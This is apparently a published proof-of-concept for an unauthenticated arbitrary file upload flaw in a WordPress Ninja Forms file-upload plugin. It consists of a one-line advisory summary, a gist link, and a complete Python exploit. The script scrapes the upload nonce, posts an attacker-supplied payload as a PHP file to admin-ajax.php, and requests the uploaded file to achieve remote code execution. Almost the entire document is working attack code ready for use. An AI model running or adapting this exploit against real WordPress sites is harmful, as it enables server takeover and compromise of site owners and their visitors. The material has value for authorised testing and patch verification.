The plugin is vulnerable to arbitrary file uploads due to insufficient input file type validation found in the ~/includes/ajax/controllers/uploads.php file which can be bypassed making it possible for unauthenticated attackers to upload malicious files that can be used to obtain remote code execution
https://gist.github.com/Xib3rR4dAr/5f0accbbfdee279c68ed144da9cd8607
import requests, re, json, urllib.parse
wp_domain = input("\nEnter domain name: : ")
wp_form_url = input("Enter URI of page with file upload form : ")
payload = input('Payload : ')
full_wp_form_url = wp_domain + wp_form_url
proxies = {
# Uncomment following line to use proxy
# "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"
}
wp_session = requests.session()
headers = {"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.3 Safari/605.1.15"}
wp = wp_session.get(full_wp_form_url, headers=headers, proxies=proxies, verify=False)
wp_nonce = re.search(r'uploadNonce":"(.*?)","uploadNonceExpiry', wp.text).group(1)
ajax_url = wp_domain+"/wp-admin/admin-ajax.php?action=nf_fu_upload"
req_headers = {"Accept": "application/json, text/javascript, */*; q=0.01", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.3 Safari/605.1.15", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary3K3AsbTze13seUkb", "Origin": f"{wp_domain}", "Referer": f"{full_wp_form_url}", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
exploit_body = f"------WebKitFormBoundary3K3AsbTze13seUkb\r\nContent-Disposition: form-data; name=\"form_ids\"\r\n\r\n2\r\n------WebKitFormBoundary3K3AsbTze13seUkb\r\nContent-Disposition: form-data; name=\"field_id\"\r\n\r\n11\r\n------WebKitFormBoundary3K3AsbTze13seUkb\r\nContent-Disposition: form-data; name=\"nonce\"\r\n\r\n{wp_nonce}\r\n------WebKitFormBoundary3K3AsbTze13seUkb\r\nContent-Disposition: form-data; name=\"files\"; filename=\"pt.php\"\r\nContent-Type: application/x-httpd-php\r\n\r\n{payload}\r\n------WebKitFormBoundary3K3AsbTze13seUkb--\r\n"
# Uncomment following two lines if nonce error occurs
#req_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.3 Safari/605.1.15", "Accept-Encoding": "gzip, deflate", "Accept": "application/json, text/javascript, */*; q=0.01", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryDgckL57HDDGn99R7", "Origin": f"{wp_domain}", "Sec-Fetch-Site": "cross-site", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": f"{full_wp_form_url}", "Accept-Language": "en-US,en;q=0.9"}
#exploit_body = f"------WebKitFormBoundaryDgckL57HDDGn99R7\r\nContent-Disposition: form-data; name=\"form_ids\"\r\n\r\n3\r\n------WebKitFormBoundaryDgckL57HDDGn99R7\r\nContent-Disposition: form-data; name=\"field_id\"\r\n\r\n44\r\n------WebKitFormBoundaryDgckL57HDDGn99R7\r\nContent-Disposition: form-data; name=\"nonce\"\r\n\r\n{wp_nonce}\r\n------WebKitFormBoundaryDgckL57HDDGn99R7\r\nContent-Disposition: form-data; name=\"files\"; filename=\"pt.php\"\r\nContent-Type: application/x-httpd-php\r\n\r\n{payload}\r\n------WebKitFormBoundaryDgckL57HDDGn99R7--\r\n"
print(f'\nSending exploit payload: {payload}')
e_resp = wp_session.post(ajax_url, headers=req_headers, data=exploit_body, proxies=proxies , verify=False)
data = e_resp.json()
payload_url = wp_domain + '/wp-content/uploads/ninja-forms/tmp/' + data['data']['files'][0]['tmp_name']
print("\nResponse: \n" + json.dumps(data, sort_keys=True, indent=4))
print(f'\nPayload contents uploaded at: {payload_url}')
payload_resp = wp_session.get(payload_url, headers=headers, proxies=proxies, verify=False)
print(f'\nResponse: {payload_resp.text}')